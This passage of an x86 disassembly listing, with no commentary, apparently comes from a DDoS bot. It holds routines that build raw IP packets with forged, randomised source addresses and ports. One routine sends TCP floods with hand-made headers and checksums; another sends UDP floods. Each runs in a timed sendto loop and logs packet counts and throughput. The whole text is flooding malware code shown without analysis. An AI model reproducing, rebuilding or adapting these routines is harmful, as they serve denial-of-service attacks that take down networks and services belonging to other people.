var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_42728C	; WSAStartup
		test	eax, eax
		jz	short loc_406946
		xor	eax, eax
		jmp	loc_406C39
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406906+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4273B8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_406C31
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4272F4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_406C27
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_427314	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_427314	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_427314	; htons
		mov	[ebp+var_12], ax
		call	sub_410198
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_427314	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_427310	; htonl
		push	offset dword_41F464
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A16
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_406A6A
; ---------------------------------------------------------------------------


loc_406A16:				; CODE XREF: sub_406906+105j
		push	offset dword_41F45C
		push	[ebp+arg_8]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A32
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_406A6A
; ---------------------------------------------------------------------------


loc_406A32:				; CODE XREF: sub_406906+121j
		push	offset dword_41F454
		push	[ebp+arg_8]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A6A
		call	sub_410198
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_410198
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_406A6A:				; CODE XREF: sub_406906+10Ej
					; sub_406906+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_427314	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_41A0EC	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_41A000	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4106D0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_406AB8:				; CODE XREF: sub_406906+2E2j
					; sub_406906+2F0j
		mov	[ebp+var_4], bx
		call	sub_410198
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_427314	; htons
		mov	[ebp+var_14], ax
		call	sub_410198
		mov	edi, eax
		shl	edi, 10h
		call	sub_410198
		or	edi, eax
		push	edi
		call	dword_427314	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_427310	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_427314	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_404F93
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40E940
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_404F93
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_427378	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BFB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_41A000	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_406C24
		jl	loc_406AB8
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_406C24
		jmp	loc_406AB8
; ---------------------------------------------------------------------------


loc_406BFB:				; CODE XREF: sub_406906+2CBj
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_41F428
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_407A4E
		add	esp, 10h
		jmp	short loc_406C27
; ---------------------------------------------------------------------------


loc_406C24:				; CODE XREF: sub_406906+2E0j
					; sub_406906+2EEj
		mov	ebx, [ebp+arg_8]


loc_406C27:				; CODE XREF: sub_406906+78j
					; sub_406906+31Cj
		push	[ebp+var_20]
		call	dword_4273AC	; closesocket
		pop	esi


loc_406C31:				; CODE XREF: sub_406906+5Bj
		call	dword_427274	; WSACleanup
		mov	eax, ebx


loc_406C39:				; CODE XREF: sub_406906+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_406906	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C3D	proc near		; CODE XREF: sub_406851+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_404F02
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_40FB66
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_40FB66
		mov	edi, eax
		call	sub_410198
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_406906
		add	esp, 20h
		test	eax, eax
		jnz	short loc_406C8C
		push	1
		pop	eax


loc_406C8C:				; CODE XREF: sub_406C3D+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406C3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C9B	proc near		; CODE XREF: sub_406DA5+19Ap
					; sub_406DA5+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_406CC7
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_406CB9:				; CODE XREF: sub_406C9B+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_406CB9
		pop	edi
		cmp	eax, 1


loc_406CC7:				; CODE XREF: sub_406C9B+12j
		jnz	short loc_406CD4
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_406CD4:				; CODE XREF: sub_406C9B:loc_406CC7j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_406C9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CED	proc near		; DATA XREF: sub_40997B+382Do

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_40FB66
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_427354	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_406DA5
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_41F46C
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_406D88
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_4084CC
		add	esp, 14h


loc_406D88:				; CODE XREF: sub_406CED+79j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
sub_406CED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DA5	proc near		; CODE XREF: sub_406CED+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_41A090
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_427394	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	esi, 5A0h


loc_406DFF:				; CODE XREF: sub_406DA5+235j
		call	dword_41A090	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_406FDF
		cmp	dword_4280D8, ebx
		jnz	short loc_406E7E
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4272B8	; getsockname
		push	0FFh
		push	1
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset dword_41E35C
		push	eax
		call	sub_40EE10
		add	esp, 18h
		jmp	short loc_406E91
; ---------------------------------------------------------------------------


loc_406E7E:				; CODE XREF: sub_406DA5+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_427AB8
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx


loc_406E91:				; CODE XREF: sub_406DA5+D7j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_427354	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_427314	; htons
		mov	[ebp+var_52], ax
		call	sub_410198
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_410198
		mov	[ebp+var_40], ax
		call	sub_410198
		mov	[ebp+var_3E], ax
		call	sub_410198
		mov	[ebp+var_3C], eax
		call	sub_410198
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_406C9B
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_406C9B
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_41A1B4	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_406C9B
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_427378	; sendto
		inc	[ebp+var_4]
		jmp	loc_406DFF
; ---------------------------------------------------------------------------


loc_406FDF:				; CODE XREF: sub_406DA5+72j
		push	[ebp+var_8]
		call	dword_4273AC	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406DA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FF0	proc near		; DATA XREF: sub_40997B+17B2o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_407067
		add	esp, 214h
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_41F4AC
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		add	esp, 14h
		push	0
		call	dword_41A084	; ExitThread
sub_406FF0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407067	proc near		; CODE XREF: sub_406FF0+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_427394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_4070A5
		lea	eax, [ebp+var_254]
		push	offset unk_41F6FC
		push	eax
		call	sub_40EE10
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_40736E
; ---------------------------------------------------------------------------


loc_4070A5:				; CODE XREF: sub_407067+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4272F4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4070D1
		call	dword_4272A8	; WSAGetLastError
		push	eax
		push	offset dword_41F6A4
		jmp	short loc_4070EC
; ---------------------------------------------------------------------------


loc_4070D1:				; CODE XREF: sub_407067+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_427354	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407100
		call	dword_4272A8	; WSAGetLastError
		push	eax
		push	offset dword_41F654


loc_4070EC:				; CODE XREF: sub_407067+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		jmp	loc_40736E
; ---------------------------------------------------------------------------


loc_407100:				; CODE XREF: sub_407067+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_427314	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_41A1B0	; inet_addr
		mov	esi, dword_41A090
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset dword_41F618
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_407169
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h


loc_407169:				; CODE XREF: sub_407067+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_40FB66
		cmp	esi, eax
		pop	ecx
		ja	loc_407324
		mov	esi, 41Ch
		jmp	short loc_40719D
; ---------------------------------------------------------------------------


loc_407198:				; CODE XREF: sub_407067+2B7j
		mov	ebx, 0FFh


loc_40719D:				; CODE XREF: sub_407067+12Fj
		cmp	dword_4280D8, edi
		jnz	short loc_4071F7
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4272B8	; getsockname
		push	ebx
		push	1
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset dword_41E35C
		push	eax
		call	sub_40EE10
		add	esp, 18h
		jmp	short loc_407207
; ---------------------------------------------------------------------------


loc_4071F7:				; CODE XREF: sub_407067+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_427AB8
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx


loc_407207:				; CODE XREF: sub_407067+18Ej
		push	esi
		mov	byte_427CB8, 45h
		call	dword_427314	; htons
		mov	word_427CBA, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_427CBC, 1
		mov	word_427CBE, di
		mov	byte_427CC0, 80h
		mov	byte_427CC1, 11h
		mov	word_427CC2, di
		call	dword_427354	; inet_addr
		mov	dword_427CC4, eax
		mov	eax, [ebp+var_20]
		mov	dword_427CC8, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_427CD2, di
		call	sub_40FB66
		test	eax, eax
		pop	ecx
		jnz	short loc_40727F
		call	sub_410198
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40728D
; ---------------------------------------------------------------------------


loc_40727F:				; CODE XREF: sub_407067+206j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_40FB66
		pop	ecx
		push	eax


loc_40728D:				; CODE XREF: sub_407067+216j
		call	dword_427314	; htons
		mov	word_427CCE, ax
		call	sub_410198
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_427CCC, dx
		call	dword_427314	; htons
		push	400h
		mov	word_427CD0, ax
		call	sub_410198
		cdq
		idiv	ebx
		push	edx
		push	offset dword_427CD4
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_427CB8
		push	[ebp+var_C]
		call	dword_427378	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_40739D
		inc	[ebp+var_4]
		call	dword_41A090	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_40FB66
		cmp	ebx, eax
		pop	ecx
		jbe	loc_407198


loc_407324:				; CODE XREF: sub_407067+124j
		push	[ebp+var_C]
		call	dword_4273AC	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_40FB66
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_41F598


loc_40735F:				; CODE XREF: sub_407067+34Aj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_40EE10
		add	esp, 18h


loc_40736E:				; CODE XREF: sub_407067+39j
					; sub_407067+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_407396
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h


loc_407396:				; CODE XREF: sub_407067+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40739D:				; CODE XREF: sub_407067+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_41F4F0
		jmp	short loc_40735F
sub_407067	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4073B3	proc near		; DATA XREF: sub_40997B+3541o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_40FB66
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40FB66
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_427354	; inet_addr
		push	eax
		call	sub_407550
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F730
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_407448
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4084CC
		add	esp, 14h


loc_407448:				; CODE XREF: sub_4073B3+73j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_4073B3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407467	proc near		; CODE XREF: sub_407550+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_407490
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A1B8	; connect
		jmp	loc_40754C
; ---------------------------------------------------------------------------


loc_407490:				; CODE XREF: sub_407467+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_41A1A0	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4272BC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
